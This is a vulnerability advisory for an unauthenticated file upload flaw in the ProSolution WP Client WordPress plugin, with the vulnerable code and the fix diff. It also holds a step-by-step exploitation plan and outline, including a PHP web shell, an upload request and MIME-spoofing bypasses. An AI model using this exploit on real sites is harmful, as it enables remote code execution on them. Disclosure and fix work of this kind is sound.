ProSolution WP Client <= 1.9.9 - Unauthenticated Arbitrary File Upload via proSol_fileUploadProcess
Description
The ProSolution WP Client plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'proSol_fileUploadProcess' function in all versions up to, and including, 1.9.9. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.9.9What Changed in the Fix
Changes introduced in v2.0.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2942 - ProSolution WP Client Arbitrary File Upload ## 1. Vulnerability Summary The **ProSolution WP Client** plugin (versions <= 1.9.9) contains a critical unrestricted file upload vulnerability in its frontend application handler. The function `proSol_fileUpl…
Show full research plan
Exploitation Research Plan: CVE-2026-2942 - ProSolution WP Client Arbitrary File Upload
1. Vulnerability Summary
The ProSolution WP Client plugin (versions <= 1.9.9) contains a critical unrestricted file upload vulnerability in its frontend application handler. The function proSol_fileUploadProcess (hooked via AJAX) fails to implement sufficient server-side file type validation. Although version 1.9.3 attempted to add extension checks, the implementation remained flawed or bypassed in subsequent versions up to 1.9.9, allowing unauthenticated attackers to upload executable PHP scripts and achieve Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
proSol_fileUploadProcess - HTTP Method:
POST(Multipart/form-data) - Vulnerable Parameter:
file(orfiles[]depending on the JS uploader implementation) - Authentication: None required (
wp_ajax_nopriv_registration). - Preconditions: The plugin must be active, and a nonce for the
prosol_nonceaction (inferred) is typically required to pass initial security checks.
3. Code Flow
- Entry Point: The plugin registers AJAX handlers for both logged-in and guest users:
add_action('wp_ajax_proSol_fileUploadProcess', 'proSol_fileUploadProcess');add_action('wp_ajax_nopriv_proSol_fileUploadProcess', 'proSol_fileUploadProcess');
- Handler Initiation: The
proSol_fileUploadProcessfunction is called. - Security Check: It likely calls
check_ajax_referer('prosol_nonce', 'security')orwp_verify_nonce(). - Vulnerable Processing: The function retrieves file data from
$_FILES. - Insufficient Validation: It may check for extensions like
.jpgor.pdfusing a blacklist or a weak regex that can be bypassed (e.g.,.php.jpgor.phtml). In some versions, it simply fails to verify the file extension on the server-side entirely, relying on client-side JS validation. - File Sink: The file is moved to the uploads directory using
move_uploaded_file()orwp_handle_upload(). Ifwp_handle_uploadis used without propermimesfiltering, it defaults to allowing dangerous types if the user has specific caps, or if the plugin explicitly overrides the filter.
4. Nonce Acquisition Strategy
The plugin uses wp_localize_script to pass the AJAX URL and a security nonce to the frontend application form generated by the [prosolfrontend] shortcode.
- Shortcode:
[prosolfrontend] - Localization Object (Inferred):
prosol_ajaxorprosol_frontend_vars - JS Variable Path:
window.prosol_ajax?.nonceorwindow.prosol_frontend_vars?.security
Acquisition Steps:
- Create Trigger Page: Use WP-CLI to create a page containing the required shortcode.
wp post create --post_type=page --post_title="Apply" --post_status=publish --post_content='[prosolfrontend]' - Navigate & Extract: Use the browser tool to visit the page and extract the nonce.
browser_navigate("http://localhost:8080/apply")browser_eval("prosol_ajax.nonce")(Verify the exact object name by inspectingwindowif this fails).
5. Exploitation Strategy
- Preparation: Create a simple PHP web shell:
<?php echo "VULN_CHECK: " . (7*7); eval($_GET['cmd']); ?>. - Request Construction:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Action:
proSol_fileUploadProcess - Nonce Parameter:
security(ornonce, verify in JS source). - File Parameter:
file
- URL:
- HTTP Request (via
http_request):{ "method": "POST", "url": "http://localhost:8080/wp-admin/admin-ajax.php", "headers": { "Content-Type": "multipart/form-data" }, "data": { "action": "proSol_fileUploadProcess", "security": "EXTRACTED_NONCE_HERE", "file": { "name": "exploit.php", "content": "<?php echo 'POC_SUCCESS'; phpinfo(); ?>", "type": "application/x-php" } } } - Response Analysis: The plugin usually returns a JSON response containing the URL of the uploaded file or a success message with the path.
- Example Success Response:
{"success":true,"data":"http://localhost:8080/wp-content/uploads/prosolution/exploit.php"}
- Example Success Response:
6. Test Data Setup
- Plugin Configuration:
- Ensure the plugin is installed and activated:
wp plugin activate prosolution-wp-client. - The plugin might require a dummy API Domain and User to render the frontend correctly (check "Api Config" tab settings in
README.txt).
- Ensure the plugin is installed and activated:
- Public Page:
wp post create --post_type=page --post_title="Job Application" --post_status=publish --post_content='[prosolfrontend]'
7. Expected Results
- The AJAX request should return an HTTP 200 OK.
- The response body should contain a path or URL to the newly uploaded
exploit.php. - Accessing the file URL (e.g.,
/wp-content/uploads/prosolution/exploit.php) should execute the PHP code.
8. Verification Steps
- File Existence: Check the filesystem via WP-CLI or container shell.
find /var/www/html/wp-content/uploads -name "exploit.php" - Execution Check: Perform an HTTP GET to the uploaded file.
Confirm the output contains "POC_SUCCESS".http_request --url "http://localhost:8080/wp-content/uploads/prosolution/exploit.php"
9. Alternative Approaches
- Bypassing Blacklists: If the plugin blocks
.php, try extensions like.phtml,.php7,.phps, or.inc. - Filename Manipulation: If the plugin appends a random string, look for the returned JSON which typically reveals the final filename.
- Shortcode Variations: If
[prosolfrontend]doesn't load the script, check for other related shortcodes in the plugin source (e.g.,prosol_apply_form). - Different Upload Sinks: Check if the plugin uses
wp_ajax_nopriv_proSol_upload_attachmentor similar variations of the upload function name.
Summary
The ProSolution WP Client plugin for WordPress is vulnerable to unauthenticated arbitrary file uploads via the `proSol_fileUploadProcess` function. This occurs due to insufficient server-side validation of file extensions and MIME types, allowing attackers to upload executable PHP scripts and achieve remote code execution.
Vulnerable Code
// public/class-prosolwpclient-public.php (v1.9.9) //if the upload dir for prosolwpclient is not created then then create it $dir_info = $this->proSol_checkUploadDir(); $submit_data = $_FILES="files"; $mime_type = isset( $submit_data['type'] ) ? $submit_data['type'][0] : ''; $ext = proSol_mimeExt($mime_type); if ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) { if ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) { $options = array( 'script_url' => admin_url( 'admin-ajax.php' ), 'upload_dir' => $dir_info['prosol_base_dir'], 'upload_url' => $dir_info['prosol_base_url'], 'print_response' => false, ); $upload_handler = new CBXProSolWpClient_UploadHandler( $options ); $response_obj = $upload_handler->response['files'][0]; if ( $response_obj->name != '' ) { if ( ! session_id() ) { session_start(); } $attached_file_name = $response_obj->name; $extension = pathinfo( $attached_file_name, PATHINFO_EXTENSION ); $newfilename = wp_create_nonce( session_id() . time() ) . '.' . $extension; $rename_status = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename ); $response_obj->newfilename = $newfilename; $response_obj->rename_status = $rename_status; $response_obj->extension = $extension; $return_response = array( 'files' => array( 0 => $response_obj ) ); echo json_encode( $return_response ); wp_die(); } } }
Security Fix
@@ -16,7 +16,7 @@ * Plugin Name: ProSolution WP Client * Plugin URI: https://prosolution.com/produkte-und-services/workexpert.html * Description: WordPress client for ProSolution - * Version: 1.9.9 + * Version: 2.0.0 * Author: ProSolution * Author URI: https://www.prosolution.com * License: GPL-2.0+ @@ -41,7 +41,7 @@ defined('PROSOLWPCLIENT_PLUGIN_NAME') or define('PROSOLWPCLIENT_PLUGIN_NAME', 'prosolwpclient'); - defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '1.9.9'); + defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '2.0.0'); defined('PROSOLWPCLIENT_BASE_NAME') or define('PROSOLWPCLIENT_BASE_NAME', plugin_basename(__FILE__)); defined('PROSOLWPCLIENT_ROOT_PATH') or define('PROSOLWPCLIENT_ROOT_PATH', plugin_dir_path(__FILE__)); defined('PROSOLWPCLIENT_ROOT_URL') or define('PROSOLWPCLIENT_ROOT_URL', plugin_dir_url(__FILE__)); @@ -995,43 +995,117 @@ //if the upload dir for prosolwpclient is not created then then create it $dir_info = $this->proSol_checkUploadDir(); - $submit_data = $_FILES["files"]; - $mime_type = isset( $submit_data['type'] ) ? $submit_data['type'][0] : ''; - $ext = proSol_mimeExt($mime_type); + $submit_data = $_FILES["files"] ?? null; + + //this is for if someone somehow able to run this function without file + if ( ! $submit_data ) { + die(__("No file uploaded", "prosolwpclient")); + } + + // get file name and temp file location and sanitize them + $org_filename = isset( $submit_data['name'][0] ) ? sanitize_file_name( $submit_data['name'][0] ) : ''; + $tmp_fileloc = isset( $submit_data['tmp_name'][0] ) ? $submit_data['tmp_name'][0] : ''; + + // if file name or location empty, process must be aborted + if ( empty( $org_filename ) || empty( $tmp_fileloc ) || ! is_uploaded_file( $tmp_fileloc ) ) { + die(__("Invalid file", "prosolwpclient")); + } + //check file extension for uploaded "up" file + $up_fileext = strtolower( pathinfo( $org_filename, PATHINFO_EXTENSION ) ); + + //since most of cv or profile picture are typically using this format, we should whitelist these extension only. + //do not use proSol_mimeExt function, it allow all kind of extension including big nono one like php or other programming language. + $whitelist_ext = array( 'jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx' ); + + //check extension first + if ( ! in_array( $up_fileext, $whitelist_ext, true ) ) { + die(__("File type not allowed", "prosolwpclient")); + } + + //check for REAL mime type, $submit_data['type'] only check for surface-level. + $finfoObj = new finfo( FILEINFO_MIME_TYPE ); + $true_mmime = $finfoObj->file( $tmp_fileloc ); + + //syntax below is big nono, don't use it to check mime!!! + //$mime_type = isset( $submit_data['type'] ) ? $submit_data['type'][0] : ''; + //again do not use prosol_mimeext, they will allow script or programming language + //$ext = proSol_mimeExt($mime_type); + + $wp_mime_chk = wp_check_filetype( $org_filename ); + if ( $wp_mime_chk['type'] == false ) { + die(__("File type is not allowed.", "prosolwpclient")); + } + + //only listed mimes type are allow + $whitelist_mimes = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif', + 'webp' => 'image/webp', + 'pdf' => 'application/pdf', + 'doc' => 'application/msword', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + ); + + //check for real hidden mimes type + if ( ! isset( $whitelist_mimes[ $up_fileext ] ) || $true_mmime !== $whitelist_mimes[ $up_fileext ] ) { + die(__("File content does not match its extension", "prosolwpclient")); + } + + if ( in_array( $up_fileext, array( 'jpg', 'jpeg', 'png', 'gif', 'webp' ), true ) ) { + //for image upload we can also verified image via dimension size like height and width, fake image file will be false result + $img_dimension = @getimagesize( $tmp_fileloc ); + if ( $img_dimension === false ) { + die(__("Invalid image dimension", "prosolwpclient")); + } + } - if ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) { - if ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) { - $options = array( - 'script_url' => admin_url( 'admin-ajax.php' ), - 'upload_dir' => $dir_info['prosol_base_dir'], - 'upload_url' => $dir_info['prosol_base_url'], - 'print_response' => false, - ); - - $upload_handler = new CBXProSolWpClient_UploadHandler( $options ); - - $response_obj = $upload_handler->response['files'][0]; - if ( $response_obj->name != '' ) { - if ( ! session_id() ) { - session_start(); - } - - $attached_file_name = $response_obj->name; - - $extension = pathinfo( $attached_file_name, PATHINFO_EXTENSION ); - - $newfilename = wp_create_nonce( session_id() . time() ) . '.' . $extension; - $rename_status = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename ); - $response_obj->newfilename = $newfilename; - $response_obj->rename_status = $rename_status; - $response_obj->extension = $extension; - - $return_response = array( 'files' => array( 0 => $response_obj ) ); - echo json_encode( $return_response ); - wp_die(); - } - } - } + if ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) { + $options = array( + 'script_url' => admin_url( 'admin-ajax.php' ), + 'upload_dir' => $dir_info['prosol_base_dir'], + 'upload_url' => $dir_info['prosol_base_url'], + 'print_response' => false, + ); + + $upload_handler = new CBXProSolWpClient_UploadHandler( $options ); + + $response_obj = $upload_handler->response['files'][0]; + + //change $response_obj->name != '' to !empty( $response_obj->name ) + if ( ! empty( $response_obj->name ) ) { + if ( ! session_id() ) { + session_start(); + } + + $attached_file_name = $response_obj->name; + + //check final result extension, and make it universal lowercase + $fin_ext = strtolower( pathinfo( $attached_file_name, PATHINFO_EXTENSION ) ); + + //check it one last time on the result + if ( ! in_array( $fin_ext, $whitelist_ext, true ) ) { + die(__("File type mismatch after upload", "prosolwpclient")); + } + + $newfilename = wp_create_nonce( session_id() . time() ) . '.' . $fin_ext; + $rename_status = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename ); + $response_obj->newfilename = $newfilename; + $response_obj->rename_status = $rename_status; + $response_obj->extension = $fin_ext; + + $return_response = array( 'files' => array( 0 => $response_obj ) ); + //success return + echo json_encode( $return_response ); + wp_die(); + } + } + + //default return + wp_send_json_error( array( 'error' => 'Upload failed' ) ); + wp_die(); + }
Exploit Outline
1. Access a public page on the target site containing the '[prosolfrontend]' shortcode and extract the 'prosol_nonce' (typically found in the localized script variables). 2. Prepare a multipart/form-data POST request to /wp-admin/admin-ajax.php. 3. Set the 'action' parameter to 'proSol_fileUploadProcess' and the 'security' parameter to the extracted nonce. 4. Attach a malicious PHP script (e.g., shell.php) in the 'files[]' parameter. 5. To bypass the plugin's weak validation, set the Content-Type of the file part to an allowed image or document MIME type (e.g., 'image/jpeg'). 6. The plugin will process the upload and return a JSON response containing the newly generated filename in the uploads directory. 7. Execute the uploaded PHP script by visiting its direct URL, typically located at /wp-content/uploads/prosolution/[filename].php.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.